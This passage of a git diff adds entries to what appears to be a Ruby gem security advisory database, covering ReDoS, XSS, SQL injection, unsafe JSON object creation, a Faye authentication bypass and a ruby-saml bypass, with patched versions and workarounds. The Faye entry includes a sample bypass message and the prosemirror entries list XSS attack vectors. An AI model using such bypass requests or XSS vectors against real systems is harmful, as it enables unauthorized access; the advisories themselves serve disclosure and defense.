4.3.3" + related: + cve: + - 2020-5247 +--- diff --git a/advisories/_posts/2020-03-10-CVE-2020-5243.md b/advisories/_posts/2020-03-10-CVE-2020-5243.md new file mode 100644 index 00000000..fc89be41 --- /dev/null +++ b/advisories/_posts/2020-03-10-CVE-2020-5243.md @@ -0,0 +1,37 @@ +--- +layout: advisory +title: 'CVE-2020-5243 (user_agent_parser): Denial of Service in uap-core when processing + crafted User-Agent strings' +comments: false +categories: +- user_agent_parser +advisory: + gem: user_agent_parser + cve: 2020-5243 + ghsa: pcqq-5962-hvcw + url: https://github.com/ua-parser/uap-ruby/security/advisories/GHSA-pcqq-5962-hvcw + date: 2020-03-10 + title: Denial of Service in uap-core when processing crafted User-Agent strings + description: |- + ### Impact + Some regexes are vulnerable to regular expression denial of service (REDoS) due to + overlapping capture groups. This allows remote attackers to overload a server by + setting the User-Agent header in an HTTP(S) request to maliciously crafted long + strings. + + ### Patches + Please update `uap-ruby` to >= v2.6.0 + + ### For more information + https://github.com/ua-parser/uap-core/security/advisories/GHSA-cmcx-xhr8-3w9p + cvss_v3: 5.7 + patched_versions: + - ">= 2.6.0" + related: + ghsa: + - cmcx-xhr8-3w9p + url: + - https://github.com/ua-parser/uap-ruby/security/advisories/GHSA-pcqq-5962-hvcw + - https://github.com/ua-parser/uap-ruby/commit/2bb18268f4c5ba7d4ba0e21c296bf6437063da3a + - https://github.com/advisories/GHSA-pcqq-5962-hvcw +--- diff --git a/advisories/_posts/2020-03-10-GHSA-pcqq-5962-hvcw.md b/advisories/_posts/2020-03-10-GHSA-pcqq-5962-hvcw.md new file mode 100644 index 00000000..042ae100 --- /dev/null +++ b/advisories/_posts/2020-03-10-GHSA-pcqq-5962-hvcw.md @@ -0,0 +1,32 @@ +--- +layout: advisory +title: 'GHSA-pcqq-5962-hvcw (user_agent_parser): Denial of Service in uap-core when + processing crafted User-Agent strings' +comments: false +categories: +- user_agent_parser +advisory: + gem: user_agent_parser + ghsa: pcqq-5962-hvcw + url: https://github.com/ua-parser/uap-ruby/security/advisories/GHSA-pcqq-5962-hvcw + title: Denial of Service in uap-core when processing crafted User-Agent strings + date: 2020-03-10 + description: |- + ### Impact + Some regexes are vulnerable to regular expression denial of service (REDoS) due to overlapping capture groups. This allows remote attackers to overload a server by setting the User-Agent header in an HTTP(S) request to maliciously crafted long strings. + + ### Patches + Please update `uap-ruby` to >= v2.6.0 + + ### For more information + https://github.com/ua-parser/uap-core/security/advisories/GHSA-cmcx-xhr8-3w9p + + Reported in `uap-core` by Ben Caller @bcaller + patched_versions: + - ">= 2.6.0" + related: + url: + - https://github.com/ua-parser/uap-ruby/security/advisories/GHSA-pcqq-5962-hvcw + - https://github.com/ua-parser/uap-ruby/commit/2bb18268f4c5ba7d4ba0e21c296bf6437063da3a + - https://github.com/advisories/GHSA-pcqq-5962-hvcw +--- diff --git a/advisories/_posts/2020-03-14-CVE-2020-36190.md b/advisories/_posts/2020-03-14-CVE-2020-36190.md new file mode 100644 index 00000000..f44b1826 --- /dev/null +++ b/advisories/_posts/2020-03-14-CVE-2020-36190.md @@ -0,0 +1,21 @@ +--- +layout: advisory +title: 'CVE-2020-36190 (rails_admin): rails_admin ruby gem XSS vulnerability' +comments: false +categories: +- rails_admin +advisory: + gem: rails_admin + cve: 2020-36190 + ghsa: wjx2-7hqq-8h7m + url: https://github.com/sferik/rails_admin/commit/d72090ec6a07c3b9b7b48ab50f3d405f91ff4375 + title: rails_admin ruby gem XSS vulnerability + date: 2020-03-14 + description: |- + RailsAdmin (aka rails_admin) before 1.4.3 and 2.x before 2.0.2 allows + XSS via nested forms. + cvss_v3: 6.1 + patched_versions: + - "~> 1.4.3" + - ">= 2.0.2" +--- diff --git a/advisories/_posts/2020-03-14-CVE-2020-5257.md b/advisories/_posts/2020-03-14-CVE-2020-5257.md new file mode 100644 index 00000000..68d9db35 --- /dev/null +++ b/advisories/_posts/2020-03-14-CVE-2020-5257.md @@ -0,0 +1,31 @@ +--- +layout: advisory +title: 'CVE-2020-5257 (administrate): Sort order SQL injection via `direction` parameter + in administrate' +comments: false +categories: +- administrate +advisory: + gem: administrate + cve: 2020-5257 + ghsa: 2p5p-m353-833w + title: Sort order SQL injection via `direction` parameter in administrate + date: 2020-03-14 + url: https://github.com/advisories/GHSA-2p5p-m353-833w + description: |- + In Administrate (rubygem) before version 0.13.0, when sorting by attributes + on a dashboard, the direction parameter was not validated before being + interpolated into the SQL query. + + This could present a SQL injection if the attacker were able to modify the + direction parameter and bypass ActiveRecord SQL protections. + + Whilst this does have a high-impact, to exploit this you need access to the + Administrate dashboards, which should generally be behind authentication. + cvss_v3: 7.7 + patched_versions: + - ">= 0.13.0" + related: + url: + - https://github.com/thoughtbot/administrate/commit/3ab838b83c5f565fba50e0c6f66fe4517f98eed3 +--- diff --git a/advisories/_posts/2020-03-19-CVE-2020-10663.md b/advisories/_posts/2020-03-19-CVE-2020-10663.md new file mode 100644 index 00000000..c48e6899 --- /dev/null +++ b/advisories/_posts/2020-03-19-CVE-2020-10663.md @@ -0,0 +1,43 @@ +--- +layout: advisory +title: 'CVE-2020-10663 (json): json Gem for Ruby Unsafe Object Creation Vulnerability + (additional fix)' +comments: false +categories: +- json +advisory: + gem: json + cve: 2020-10663 + ghsa: jphg-qwrw-7w9g + url: https://www.ruby-lang.org/en/news/2020/03/19/json-dos-cve-2020-10663/ + title: json Gem for Ruby Unsafe Object Creation Vulnerability (additional fix) + date: 2020-03-19 + description: |- + There is an unsafe object creation vulnerability in the json gem bundled with + Ruby. This vulnerability has been assigned the CVE identifier CVE-2020-10663. + We strongly recommend upgrading the json gem. + + Details + ------- + + When parsing certain JSON documents, the json gem (including the one bundled + with Ruby) can be coerced into creating arbitrary objects in the target system. + + This is the same issue as CVE-2013-0269. The previous fix was incomplete, which + addressed JSON.parse(user_input), but didn’t address some other styles of JSON + parsing including JSON(user_input) and JSON.parse(user_input, nil). + + See CVE-2013-0269 in detail. Note that the issue was exploitable to cause a + Denial of Service by creating many garbage-uncollectable Symbol objects, but + this kind of attack is no longer valid because Symbol objects are now + garbage-collectable. However, creating arbitrary objects may cause severe + security consequences depending upon the application code. + cvss_v3: 7.5 + patched_versions: + - ">= 2.3.0" + related: + cve: + - 2013-0269 + url: + - https://groups.google.com/forum/#!topic/ruby-security-ann/ermX1eQqqKA +--- diff --git a/advisories/_posts/2020-03-19-CVE-2020-5267.md b/advisories/_posts/2020-03-19-CVE-2020-5267.md new file mode 100644 index 00000000..c57f95b7 --- /dev/null +++ b/advisories/_posts/2020-03-19-CVE-2020-5267.md @@ -0,0 +1,78 @@ +--- +layout: advisory +title: 'CVE-2020-5267 (actionview): Possible XSS vulnerability in ActionView' +comments: false +categories: +- actionview +- rails +advisory: + gem: actionview + framework: rails + cve: 2020-5267 + ghsa: 65cv-r6x7-79hv + url: https://groups.google.com/forum/#!topic/rubyonrails-security/55reWMM_Pg8 + title: Possible XSS vulnerability in ActionView + date: 2020-03-19 + description: |- + There is a possible XSS vulnerability in ActionView's JavaScript literal + escape helpers. Views that use the `j` or `escape_javascript` methods + may be susceptible to XSS attacks. + + Versions Affected: All. + Not affected: None. + Fixed Versions: 6.0.2.2, 5.2.4.2 + + Impact + ------ + There is a possible XSS vulnerability in the `j` and `escape_javascript` + methods in ActionView. These methods are used for escaping JavaScript string + literals. Impacted code will look something like this: + + ```erb + + ``` + + or + + ```erb + + ``` + + Releases + -------- + The 6.0.2.2 and 5.2.4.2 releases are available at the normal locations. + + Workarounds + ----------- + For those that can't upgrade, the following monkey patch may be used: + + ```ruby + ActionView::Helpers::JavaScriptHelper::JS_ESCAPE_MAP.merge!( + { + "`" => "\\`", + "$" => "\\$" + } + ) + + module ActionView::Helpers::JavaScriptHelper + alias :old_ej :escape_javascript + alias :old_j :j + + def escape_javascript(javascript) + javascript = javascript.to_s + if javascript.empty? + result = "" + else + result = javascript.gsub(/(\\|<\/|\r\n|\342\200\250|\342\200\251|[\n\r"']|[`]|[$])/u, JS_ESCAPE_MAP) + end + javascript.html_safe? ? result.html_safe : result + end + + alias :j :escape_javascript + end + ``` + cvss_v3: 4.0 + patched_versions: + - "~> 5.2.4, >= 5.2.4.2" + - ">= 6.0.2.2" +--- diff --git a/advisories/_posts/2020-04-29-CVE-2015-4411.md b/advisories/_posts/2020-04-29-CVE-2015-4411.md new file mode 100644 index 00000000..7d087e3e --- /dev/null +++ b/advisories/_posts/2020-04-29-CVE-2015-4411.md @@ -0,0 +1,25 @@ +--- +layout: advisory +title: 'CVE-2015-4411 (bson): Potential denial of service in bson rubygem' +comments: false +categories: +- bson +advisory: + gem: bson + cve: 2015-4411 + ghsa: qh4w-7pw3-p4rp + url: https://github.com/advisories/GHSA-qh4w-7pw3-p4rp + date: 2020-04-29 + title: Potential denial of service in bson rubygem + description: |- + The Moped::BSON::ObjecId.legal? method in mongodb/bson-ruby before 3.0.4 + as used in rubygem-moped allows remote attackers to cause a denial of service (worker + resource consumption) via a crafted string. NOTE: This issue is due to an incomplete + fix to CVE-2015-4410. + cvss_v3: 7.5 + patched_versions: + - ">= 3.0.4" + related: + cve: + - 2015-4410 +--- diff --git a/advisories/_posts/2020-04-29-CVE-2020-11020.md b/advisories/_posts/2020-04-29-CVE-2020-11020.md new file mode 100644 index 00000000..fa0f4348 --- /dev/null +++ b/advisories/_posts/2020-04-29-CVE-2020-11020.md @@ -0,0 +1,95 @@ +--- +layout: advisory +title: 'CVE-2020-11020 (faye): Authentication and extension bypass in Faye' +comments: false +categories: +- faye +advisory: + gem: faye + cve: 2020-11020 + ghsa: qpg4-4w7w-2mq5 + url: https://github.com/faye/faye/security/advisories/GHSA-qpg4-4w7w-2mq5 + date: 2020-04-29 + title: Authentication and extension bypass in Faye + description: |- + On 20 April 2020 it was reported to me that the potential for authentication + bypass exists in [Faye][1]'s extension system. This vulnerability has existed in + the Node.js and Ruby versions of the server since version 0.5.0, when extensions + were first introduced, in July 2010. It is patched in versions 1.0.4, 1.1.3 and + 1.2.5, which we are releasing today. + + The vulnerability allows any client to bypass checks put in place by server-side + extensions, by appending extra segments to the message channel. For example, the + Faye [extension docs][2] suggest that users implement access control for + subscriptions by checking incoming messages for the `/meta/subscribe` channel, + for example: + + ```js + server.addExtension({ + incoming: function(message, callback) { + if (message.channel === '/meta/subscribe') { + if (message.ext.authToken !== 'my super secret password') { + message.error = 'Invalid auth token'; + } + } + callback(message); + } + }); + ``` + + A bug in the server's code for recognising the special `/meta/*` channels, which + trigger connection and subscription events, means that a client can bypass this + check by sending a message to `/meta/subscribe/x` rather than `/meta/subscribe`: + + ```json + { + "channel": "/meta/subscribe/x", + "clientId": "3jrc6602npj4gyp6bn5ap2wqzjtb2q3", + "subscription": "/foo" + } + ``` + + This message will not be checked by the above extension, as it checks the + message's channel is exactly equal to `/meta/subscribe`. But it will still be + processed as a subscription request by the server, so the client becomes + subscribed to the channel `/foo` without supplying the necessary credentials. + + The vulnerability is caused by the way the Faye server recognises meta channels. + It will treat a message to any channel that's a prefix-match for one of the + special channels `/meta/handshake`, `/meta/connect`, `/meta/subscribe`, + `/meta/unsubscribe` or `/meta/disconnect`, as though it were an exact match for + that channel. So, a message to `/meta/subscribe/x` is still processed as a + subscription request, for example. + + An authentication bypass for subscription requests is the most serious effect of + this but all other meta channels are susceptible to similar manipulation. + + This parsing bug in the server is fixed in versions 1.0.4, 1.1.3 and 1.2.5. + These should be drop-in replacements for prior versions and you should upgrade + immediately if you are running any prior version. + + If you are unable to install one of these versions, you can make your extensions + catch all messages the server would process by checking the channel _begins_ + with the expected channel name, for example: + + ```js + server.addExtension({ + incoming: function(message, callback) { + if (message.channel.startsWith('/meta/subscribe')) { + // authentication logic + } + callback(message); + } + }); + ``` + + [1]: https://faye.jcoglan.com/ + [2]: https://faye.jcoglan.com/node/extensions.html + cvss_v3: 8.5 + patched_versions: + - "~> 1.0.4" + - "~> 1.1.3" + - ">= 1.2.5" + unaffected_versions: + - "< 0.5.0" +--- diff --git a/advisories/_posts/2020-04-29-CVE-2020-11022.md b/advisories/_posts/2020-04-29-CVE-2020-11022.md new file mode 100644 index 00000000..46d1c36c --- /dev/null +++ b/advisories/_posts/2020-04-29-CVE-2020-11022.md @@ -0,0 +1,101 @@ +--- +layout: advisory +title: 'CVE-2020-11022 (jquery-rails): Potential XSS vulnerability in jQuery' +comments: false +categories: +- jquery-rails +- rails +advisory: + gem: jquery-rails + framework: rails + cve: 2020-11022 + ghsa: gxr4-xjj5-5px2 + url: https://github.com/jquery/jquery/security/advisories/GHSA-gxr4-xjj5-5px2 + title: Potential XSS vulnerability in jQuery + date: 2020-04-29 + description: |- + ### Impact + Passing HTML from untrusted sources - even after sanitizing it - to + one of jQuery's DOM manipulation methods (i.e. `.html()`, `.append()`, + and others) may execute untrusted code. + + ### Patches + This problem is patched in jQuery 3.5.0. + + ### Workarounds + To workaround the issue without upgrading, adding the following to + your code: + ```js + jQuery.htmlPrefilter = function( html ) { + return html; + }; + ``` + You need to use at least jQuery 1.12/2.2 or newer to be able to + apply this workaround. + + ### References + https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/ + https://jquery.com/upgrade-guide/3.5/ + + ### For more information + If you have any questions or comments about this advisory, search + for a relevant issue in + [the jQuery repo](https://github.com/jquery/jquery/issues). + + If you don't find an answer, open a new issue." + cvss_v2: 4.3 + cvss_v3: 6.9 + unaffected_versions: + - "< 1.2.0" + patched_versions: + - ">= 3.5.0" + related: + url: + - https://github.com/jquery/jquery/security/advisories/GHSA-gxr4-xjj5-5px2 + - https://github.com/jquery/jquery/commit/1d61fd9407e6fbe82fe55cb0b938307aa0791f77 + - https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/ + - https://jquery.com/upgrade-guide/3.5/ + - https://nvd.nist.gov/vuln/detail/CVE-2020-11022 + - https://security.netapp.com/advisory/ntap-20200511-0006/ + - https://www.drupal.org/sa-core-2020-002 + - https://www.debian.org/security/2020/dsa-4693 + - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VOE7P7APPRQKD4FGNHBKJPDY6FFCOH3W/ + - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QPN2L2XVQGUA2V5HNQJWHK3APSK3VN7K/ + - https://www.oracle.com/security-alerts/cpujul2020.html + - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00067.html + - https://security.gentoo.org/glsa/202007-03 + - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00085.html + - https://lists.apache.org/thread.html/rdf44341677cf7eec7e9aa96dcf3f37ed709544863d619cca8c36f133@ + - https://github.com/advisories/GHSA-gxr4-xjj5-5px2 + - https://www.npmjs.com/advisories/1518 + - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/AVKYXLWCLZBV2N7M46KYK4LVA5OXWPBY/ + - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SFP4UK4EGP4AFH2MWYJ5A5Z4I7XVFQ6B/ + - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SAPQVX3XDNPGFT26QAQ6AJIXZZBZ4CD4/ + - https://www.oracle.com/security-alerts/cpuoct2020.html + - https://lists.apache.org/thread.html/r706cfbc098420f7113968cc377247ec3d1439bce42e679c11c609e2d@ + - https://lists.apache.org/thread.html/rbb448222ba62c430e21e13f940be4cb5cfc373cd3bce56b48c0ffa67@ + - http://lists.opensuse.org/opensuse-security-announce/2020-11/msg00039.html + - https://lists.apache.org/thread.html/r49ce4243b4738dd763caeb27fa8ad6afb426ae3e8c011ff00b8b1f48@ + - https://www.tenable.com/security/tns-2020-10 + - https://www.tenable.com/security/tns-2020-11 + - https://www.oracle.com/security-alerts/cpujan2021.html + - https://lists.apache.org/thread.html/r564585d97bc069137e64f521e68ba490c7c9c5b342df5d73c49a0760@ + - https://lists.apache.org/thread.html/r8f70b0f65d6bedf316ecd899371fd89e65333bc988f6326d2956735c@ + - https://www.tenable.com/security/tns-2021-02 + - https://lists.debian.org/debian-lts-announce/2021/03/msg00033.html + - http://packetstormsecurity.com/files/162159/jQuery-1.2-Cross-Site-Scripting.html + - https://lists.apache.org/thread.html/rede9cfaa756e050a3d83045008f84a62802fc68c17f2b4eabeaae5e4@ + - https://lists.apache.org/thread.html/ree3bd8ddb23df5fa4e372d11c226830ea3650056b1059f3965b3fce2@ + - https://lists.apache.org/thread.html/r54565a8f025c7c4f305355fdfd75b68eca442eebdb5f31c2e7d977ae@ + - https://lists.apache.org/thread.html/re4ae96fa5c1a2fe71ccbb7b7ac1538bd0cb677be270a2bf6e2f8d108@ + - https://www.tenable.com/security/tns-2021-10 + - https://www.oracle.com/security-alerts/cpuApr2021.html + - https://www.oracle.com//security-alerts/cpujul2021.html + - https://www.oracle.com/security-alerts/cpuoct2021.html + - https://lists.apache.org/thread.html/r0483ba0072783c2e1bfea613984bfb3c86e73ba8879d780dc1cc7d36@ + - https://github.com/jquery/jquery/releases/tag/3.5.0 + - https://www.oracle.com/security-alerts/cpujan2022.html + - https://www.oracle.com/security-alerts/cpuapr2022.html + - https://www.oracle.com/security-alerts/cpujul2022.html + - https://lists.debian.org/debian-lts-announce/2023/08/msg00040.html +--- diff --git a/advisories/_posts/2020-04-29-CVE-2020-11023.md b/advisories/_posts/2020-04-29-CVE-2020-11023.md new file mode 100644 index 00000000..9f8dc6e4 --- /dev/null +++ b/advisories/_posts/2020-04-29-CVE-2020-11023.md @@ -0,0 +1,36 @@ +--- +layout: advisory +title: 'CVE-2020-11023 (jquery-rails): Potential XSS vulnerability in jQuery' +comments: false +categories: +- jquery-rails +- rails +advisory: + gem: jquery-rails + framework: rails + cve: 2020-11023 + ghsa: jpcq-cgw6-v4j6 + date: 2020-04-29 + url: https://blog.jquery.com/2020/04/10/jquery-3-5-0-released + title: Potential XSS vulnerability in jQuery + description: |- + ## Impact + + Passing HTML containing `
` + - `onerror` attributes on images: `` + - Other HTML attributes that can execute JavaScript + + ### Patches + + A fix is currently in development. Users should upgrade to + version **0.2.1** or later once released. + + The patch escapes all HTML attribute values using `CGI.escapeHTML` + to prevent injection attacks. + + ### Workarounds + + Until a patched version is available, users can implement one or + more of these mitigations: + + 1. **Sanitize output**: Pass the HTML output through a sanitization + library like [Sanitize](https://github.com/rgrove/sanitize) or + [Loofah](https://github.com/flavorjones/loofah): + + ```ruby + html = ProsemirrorToHtml.render(document) + safe_html = Sanitize.fragment(html, Sanitize::Config::RELAXED) + ``` + + 2. **Implement Content Security Policy (CSP)**: Add strict CSP + headers to prevent inline JavaScript execution: + + ``` + Content-Security-Policy: default-src 'self'; script-src 'self' + ``` + + 3. **Input validation**: If possible, validate and sanitize + ProseMirror documents before conversion to prevent malicious + content from entering the system. + + ### References + + - Vulnerable code: https://github.com/etaminstudio/prosemirror_to_html/blob/ea8beb32f6c37f29f042ba4155ccf18504da716e/lib/prosemirror_to_html.rb#L249 + - [OWASP XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html) + - [CWE-79: Improper Neutralization of Input During Web Page Generation](https://cwe.mitre.org/data/definitions/79.html) + cvss_v3: 7.6 + patched_versions: + - ">= 0.2.1" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2025-64501 + - https://github.com/etaminstudio/prosemirror_to_html/security/advisories/GHSA-52c5-vh7f-26fx + - https://github.com/etaminstudio/prosemirror_to_html/releases/tag/v0.2.1 + - https://github.com/etaminstudio/prosemirror_to_html/commit/4d59f94f550bcabeec30d298791bbdd883298ad8 + - https://github.com/advisories/GHSA-52c5-vh7f-26fx +--- diff --git a/advisories/_posts/2025-11-06-GHSA-52c5-vh7f-26fx.md b/advisories/_posts/2025-11-06-GHSA-52c5-vh7f-26fx.md new file mode 100644 index 00000000..294b4d06 --- /dev/null +++ b/advisories/_posts/2025-11-06-GHSA-52c5-vh7f-26fx.md @@ -0,0 +1,86 @@ +--- +layout: advisory +title: 'GHSA-52c5-vh7f-26fx (prosemirror_to_html): Cross-Site Scripting (XSS) vulnerability + through unescaped HTML attribute values' +comments: false +categories: +- prosemirror_to_html +advisory: + gem: prosemirror_to_html + ghsa: 52c5-vh7f-26fx + url: https://github.com/etaminstudio/prosemirror_to_html/security/advisories/GHSA-52c5-vh7f-26fx + title: Cross-Site Scripting (XSS) vulnerability through unescaped HTML attribute + values + date: 2025-11-06 + description: | + ### Impact + + The prosemirror_to_html gem is vulnerable to Cross-Site Scripting + (XSS) attacks through malicious HTML attribute values. While tag + content is properly escaped, attribute values are not, allowing + attackers to inject arbitrary JavaScript code. + + **Who is impacted:** + + - Any application using prosemirror_to_html to convert ProseMirror + documents to HTML + - Applications that process user-generated ProseMirror content are + at highest risk + - End users viewing the rendered HTML output could have malicious + JavaScript executed in their browsers + + **Attack vectors include:** + + - `href` attributes with `javascript:` protocol: + `` + - Event handlers: `
` + - `onerror` attributes on images: `` + - Other HTML attributes that can execute JavaScript + + ### Patches + + A fix is currently in development. Users should upgrade to version + **0.2.1** or later once released. + + The patch escapes all HTML attribute values using `CGI.escapeHTML` + to prevent injection attacks. + + ### Workarounds + + Until a patched version is available, users can implement one or + more of these mitigations: + + 1. **Sanitize output**: Pass the HTML output through a sanitization + library like [Sanitize](https://github.com/rgrove/sanitize) or + [Loofah](https://github.com/flavorjones/loofah): + + ```ruby + html = ProsemirrorToHtml.render(document) + safe_html = Sanitize.fragment(html, Sanitize::Config::RELAXED) + ``` + + 2. **Implement Content Security Policy (CSP)**: Add strict CSP + headers to prevent inline JavaScript execution: + ``` + Content-Security-Policy: default-src 'self'; script-src 'self' + ``` + + 3. **Input validation**: If possible, validate and sanitize + ProseMirror documents before conversion to prevent malicious + content from entering the system. + + ### References + + - Vulnerable code: https://github.com/etaminstudio/prosemirror_to_html/blob/ea8beb32f6c37f29f042ba4155ccf18504da716e/lib/prosemirror_to_html.rb#L249 + - [OWASP XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html) + - [CWE-79: Improper Neutralization of Input During Web Page Generation](https://cwe.mitre.org/data/definitions/79.html) + cvss_v3: 7.6 + patched_versions: + - ">= 0.2.1" + related: + url: + - https://github.com/etaminstudio/prosemirror_to_html/security/advisories/GHSA-52c5-vh7f-26fx + - https://github.com/etaminstudio/prosemirror_to_html/releases/tag/v0.2.1 + - https://github.com/etaminstudio/prosemirror_to_html/commit/4d59f94f550bcabeec30d298791bbdd883298ad8 + - https://github.com/advisories/GHSA-52c5-vh7f-26fx +--- diff --git a/advisories/_posts/2025-11-07-GHSA-vfpf-xmwh-8m65.md b/advisories/_posts/2025-11-07-GHSA-vfpf-xmwh-8m65.md new file mode 100644 index 00000000..a0557a00 --- /dev/null +++ b/advisories/_posts/2025-11-07-GHSA-vfpf-xmwh-8m65.md @@ -0,0 +1,87 @@ +--- +layout: advisory +title: 'GHSA-vfpf-xmwh-8m65 (prosemirror_to_html): ProsemirrorToHtml has a Cross-Site + Scripting (XSS) vulnerability through unescaped HTML attribute values' +comments: false +categories: +- prosemirror_to_html +advisory: + gem: prosemirror_to_html + ghsa: vfpf-xmwh-8m65 + url: https://github.com/etaminstudio/prosemirror_to_html/security/advisories/GHSA-52c5-vh7f-26fx + title: ProsemirrorToHtml has a Cross-Site Scripting (XSS) vulnerability through + unescaped HTML attribute values + date: 2025-11-07 + description: | + ### Impact + + The prosemirror_to_html gem is vulnerable to Cross-Site Scripting + (XSS) attacks through malicious HTML attribute values. While tag + content is properly escaped, attribute values are not, allowing + attackers to inject arbitrary JavaScript code. + + **Who is impacted:** + + - Any application using prosemirror_to_html to convert ProseMirror + documents to HTML + - Applications that process user-generated ProseMirror content are + at highest risk + - End users viewing the rendered HTML output could have malicious + JavaScript executed in their browsers + + **Attack vectors include:** + + - `href` attributes with `javascript:` protocol: + `` + - Event handlers: `
` + - `onerror` attributes on images: `` + - Other HTML attributes that can execute JavaScript + + ### Patches + + A fix is currently in development. Users should upgrade to version + **0.2.1** or later once released. + + The patch escapes all HTML attribute values using `CGI.escapeHTML` + to prevent injection attacks. + + ### Workarounds + + Until a patched version is available, users can implement one or + more of these mitigations: + + 1. **Sanitize output**: Pass the HTML output through a sanitization + library like [Sanitize](https://github.com/rgrove/sanitize) or + [Loofah](https://github.com/flavorjones/loofah): + + ```ruby + html = ProsemirrorToHtml.render(document) + safe_html = Sanitize.fragment(html, Sanitize::Config::RELAXED) + ``` + + 2. **Implement Content Security Policy (CSP)**: Add strict CSP + headers to prevent inline JavaScript execution: + ``` + Content-Security-Policy: default-src 'self'; script-src 'self' + ``` + + 3. **Input validation**: If possible, validate and sanitize + ProseMirror documents before conversion to prevent malicious + content from entering the system. + + ### References + + - Vulnerable code: https://github.com/etaminstudio/prosemirror_to_html/blob/ea8beb32f6c37f29f042ba4155ccf18504da716e/lib/prosemirror_to_html.rb#L249 + - [OWASP XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html) + cvss_v3: 7.6 + patched_versions: + - ">= 0.2.1" + related: + url: + - https://github.com/etaminstudio/prosemirror_to_html/security/advisories/GHSA-52c5-vh7f-26fx + - https://github.com/etaminstudio/prosemirror_to_html/releases/tag/v0.2.1 + - https://github.com/etaminstudio/prosemirror_to_html/commit/4d59f94f550bcabeec30d298791bbdd883298ad8 + - https://github.com/etaminstudio/prosemirror_to_html/blob/ea8beb32f6c37f29f042ba4155ccf18504da716e/lib/prosemirror_to_html.rb#L249 + - https://github.com/rubysec/ruby-advisory-db/blob/master/gems/prosemirror_to_html/GHSA-52c5-vh7f-26fx.yml + - https://github.com/advisories/GHSA-vfpf-xmwh-8m65 +--- diff --git a/advisories/_posts/2025-11-13-GHSA-4249-gjr8-jpq3.md b/advisories/_posts/2025-11-13-GHSA-4249-gjr8-jpq3.md new file mode 100644 index 00000000..012417a9 --- /dev/null +++ b/advisories/_posts/2025-11-13-GHSA-4249-gjr8-jpq3.md @@ -0,0 +1,83 @@ +--- +layout: advisory +title: 'GHSA-4249-gjr8-jpq3 (prosemirror_to_html): ProsemirrorToHtml has a Cross-Site + Scripting (XSS) vulnerability through unescaped HTML attribute values' +comments: false +categories: +- prosemirror_to_html +advisory: + gem: prosemirror_to_html + ghsa: 4249-gjr8-jpq3 + url: https://github.com/etaminstudio/prosemirror_to_html/security/advisories/GHSA-52c5-vh7f-26fx + title: ProsemirrorToHtml has a Cross-Site Scripting (XSS) vulnerability through + unescaped HTML attribute values + date: 2025-11-13 + description: |- + ### Impact + + The prosemirror_to_html gem is vulnerable to Cross-Site Scripting + (XSS) attacks through malicious HTML attribute values. While tag + content is properly escaped, attribute values are not, allowing + attackers to inject arbitrary JavaScript code. + + **Who is impacted:** + + - Any application using prosemirror_to_html to convert ProseMirror + documents to HTML + - Applications that process user-generated ProseMirror content are + at highest risk + - End users viewing the rendered HTML output could have malicious + JavaScript executed in their browsers + + **Attack vectors include:** + + - `href` attributes with `javascript:` protocol: + `` + - Event handlers: `
` + - `onerror` attributes on images: `` + - Other HTML attributes that can execute JavaScript + + ### Patches + + A fix is currently in development. Users should upgrade to version + **0.2.1** or later once released. The patch escapes all HTML attribute + values using `CGI.escapeHTML` to prevent injection attacks. + + ### Workarounds + + Until a patched version is available, users can implement one or + more of these mitigations: + + 1. **Sanitize output**: Pass the HTML output through a sanitization + library like [Sanitize](https://github.com/rgrove/sanitize) or + [Loofah](https://github.com/flavorjones/loofah): + + ```ruby + html = ProsemirrorToHtml.render(document) + safe_html = Sanitize.fragment(html, Sanitize::Config::RELAXED) + ``` + + 2. **Implement Content Security Policy (CSP)**: Add strict CSP + headers to prevent inline JavaScript execution: + ``` + Content-Security-Policy: default-src 'self'; script-src 'self' + ``` + + 3. **Input validation**: If possible, validate and sanitize + ProseMirror documents before conversion to prevent malicious + content from entering the system. + + ### References + + - Vulnerable code: https://github.com/etaminstudio/prosemirror_to_html/blob/ea8beb32f6c37f29f042ba4155ccf18504da716e/lib/prosemirror_to_html.rb#L249 + - [OWASP XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html) + patched_versions: + - ">= 0.2.1" + related: + url: + - https://github.com/etaminstudio/prosemirror_to_html/security/advisories/GHSA-52c5-vh7f-26fx + - https://github.com/etaminstudio/prosemirror_to_html/commit/4d59f94f550bcabeec30d298791bbdd883298ad8 + - https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html + - https://github.com/etaminstudio/prosemirror_to_html/blob/ea8beb32f6c37f29f042ba4155ccf18504da716e/lib/prosemirror_to_html.rb#L249 + - https://github.com/advisories/GHSA-4249-gjr8-jpq3 +--- diff --git a/advisories/_posts/2025-12-08-CVE-2025-66567.md b/advisories/_posts/2025-12-08-CVE-2025-66567.md new file mode 100644 index 00000000..d94e70cd --- /dev/null +++ b/advisories/_posts/2025-12-08-CVE-2025-66567.md @@ -0,0 +1,41 @@ +--- +layout: advisory +title: 'CVE-2025-66567 (ruby-saml): Ruby-saml has a SAML authentication bypass due + to namespace handling (parser differential)' +comments: false +categories: +- ruby-saml +advisory: + gem: ruby-saml + cve: 2025-66567 + ghsa: 9v8j-x534-2fx3 + url: https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-9v8j-x534-2fx3 + title: Ruby-saml has a SAML authentication bypass due to namespace handling (parser + differential) + date: 2025-12-08 + description: |- + ### Summary + + Ruby-saml up to and including 1.12.4, there is an authentication + bypass vulnerability because of an incomplete fix for CVE-2025-25292. + ReXML and Nokogiri parse XML differently, the parsers can generate + entirely different document structures from the same XML input. + That 